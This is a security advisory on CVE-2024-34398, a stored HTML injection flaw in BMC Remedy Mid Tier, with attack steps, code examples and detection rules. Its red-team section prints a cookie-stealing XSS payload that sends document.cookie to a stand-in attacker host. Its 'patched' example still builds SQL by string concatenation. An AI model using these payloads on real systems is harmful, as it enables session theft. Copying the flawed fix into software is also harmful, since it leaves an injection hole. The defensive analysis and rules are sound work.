CVE-2024-34398

Executive Summary

CVE-2024-34398 is a stored HTML injection vulnerability in BMC Remedy Mid Tier version 7.6.04. An authenticated remote attacker can inject arbitrary HTML into the web application, leading to potential phishing, session hijacking, or defacement. The vulnerability is classified as medium severity (CVSS 3.1 base score 4.8) due to the requirement for authentication and user interaction. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary enterprise application (BMC Remedy Mid Tier). No supply chain implications are identified.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 4.8 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: Required (victim must view injected content)
• Scope: Changed (injection affects other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires authentication, but once achieved, the attacker can inject persistent HTML payloads that affect all users viewing the affected page.

Deep Dive & Mechanics

The vulnerability resides in the BMC Remedy Mid Tier web application, version 7.6.04. The application fails to properly sanitize user-supplied input before storing it in the database and later rendering it in web pages. An authenticated attacker can submit crafted HTML content (e.g., via form fields, comments, or profile data) that is stored and later executed in the context of other users' browsers.

Root Cause: Lack of output encoding or input validation for HTML content. The application likely uses a rich text editor or allows HTML in certain fields without proper filtering.

Attack Flow:

1. Attacker authenticates to the BMC Remedy Mid Tier application.
2. Attacker identifies an input field that is stored and displayed to other users (e.g., ticket description, comments, user profile).
3. Attacker injects malicious HTML/JavaScript payload (e.g., <script>alert('XSS')</script> or <img src=x onerror=...>).
4. When other users view the affected page, the injected HTML is rendered, potentially executing JavaScript in their browsers.

Impact: The attacker can perform actions on behalf of the victim, steal session cookies, redirect to phishing pages, or deface the application.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Storing user input without sanitization
$comment = $_POST['comment'];
$db->query("INSERT INTO comments (text) VALUES ('$comment')");

// Displaying stored input without encoding
echo "<div>" . $row['text'] . "</div>";

Patched Code (Conceptual):

// Sanitize input using HTML Purifier or similar
$comment = htmlspecialchars($_POST['comment'], ENT_QUOTES, 'UTF-8');
$db->query("INSERT INTO comments (text) VALUES ('$comment')");

// Output encoding
echo "<div>" . htmlspecialchars($row['text'], ENT_QUOTES, 'UTF-8') . "</div>";

Note: No official patch is available. The above is a recommended fix.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a BMC Remedy Mid Tier 7.6.04 instance.
• Valid user credentials.

Exploitation Steps:

1. Log in to the application.
2. Navigate to a page that allows user input (e.g., ticket creation, comment submission).
3. Inject a stored HTML payload:

   <script>alert('XSS')</script>
   

   Or a more sophisticated payload:

   <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
   

4. Submit the form.
5. When another user views the affected page, the payload executes.

Note: No public exploit code is available. The above is a generic demonstration.

Blue Team

Detection:

• Monitor for unusual HTML tags in user input fields (e.g., <script>, <img onerror=, <iframe>).
• Use Web Application Firewall (WAF) rules to block common XSS patterns.
• Review application logs for repeated submissions of suspicious content.

Mitigation:

• Apply input validation and output encoding.
• Use Content Security Policy (CSP) headers to restrict script execution.
• Implement a Web Application Firewall (WAF) with XSS protection rules.

Indicators of Compromise (IOCs)

• Network: HTTP requests containing HTML/JavaScript payloads in POST parameters (e.g., comment=<script>alert(1)</script>).
• Logs: Application logs showing repeated submissions of HTML tags in user input fields.
• File System: No specific file-based IOCs.
• Registry: Not applicable.

Detection Engineering

YARA Rule

rule CVE_2024_34398_Stored_HTML_Injection {
    meta:
        description = "Detects stored HTML injection attempts in BMC Remedy Mid Tier"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-34398"
    strings:
        $html_injection = /<[^>]*script[^>]*>|<[^>]*onerror[^>]*>|<[^>]*onload[^>]*>/i
    condition:
        $html_injection
}

Sigma Rule

title: Stored HTML Injection in BMC Remedy Mid Tier
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored HTML injection attempts in BMC Remedy Mid Tier
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-34398
logsource:
    category: webserver
    product: apache
    service: httpd
detection:
    selection:
        http_method: POST
        http_path: "*/remedy/*"
        http_body|contains: 
            - "<script>"
            - "<img onerror="
            - "<iframe>"
    condition: selection
falsepositives:
    - Legitimate use of HTML in rich text editors (rare)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-34398 Stored HTML Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/remedy/"; http_uri; pcre:"/<[^>]*script[^>]*>|<[^>]*onerror[^>]*>|<[^>]*onload[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected system if possible.
2. Apply input validation and output encoding to all user-supplied data.
3. Implement Content Security Policy (CSP) headers to restrict script execution.
4. Deploy a Web Application Firewall (WAF) with XSS protection rules.

Long-Term Fix:

• Upgrade to a patched version of BMC Remedy Mid Tier (if available).
• Conduct a security audit of the application for similar vulnerabilities.
• Train developers on secure coding practices (OWASP Top 10).

Workaround:

• Disable HTML rendering in user input fields if possible.
• Use a reverse proxy with XSS filtering capabilities.

Valters IT